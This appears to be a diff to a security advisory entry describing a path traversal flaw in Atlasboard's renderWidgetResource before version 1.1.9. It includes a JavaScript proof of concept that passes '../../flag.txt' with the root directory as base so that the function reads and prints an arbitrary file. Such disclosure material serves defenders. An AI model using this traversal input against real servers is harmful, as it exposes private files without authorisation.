+ "details": "The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.\n\n### PoC\n```javascript\nconst widget = require(\"atlasboard/lib/webapp/routes/widget\");\n\n// Mock req and res\nconst req = {};\nconst res = {\n sendFile: (filePath) => {\n // Read and return file contents synchronously\n const data = fs.readFileSync(filePath, \"utf8\");\n console.log(\"Contents of /flag.txt:\");\n console.log(data);\n },\n status: function (code) {\n this.statusCode = code;\n return this;\n },\n send: function (msg) {\n throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);\n },\n};\n\n// localPackagesPath set to root to allow traversal to /flag.txt\nconst localPackagesPath = \"/\";\n\n// resource string with path traversal to escape localPackagesPath and widgets directory\nconst resource = \"../../flag.txt\";\n\n// Call vulnerable function\nawait widget.renderWidgetResource(localPackagesPath, resource, req, res);\n```",
0 commit comments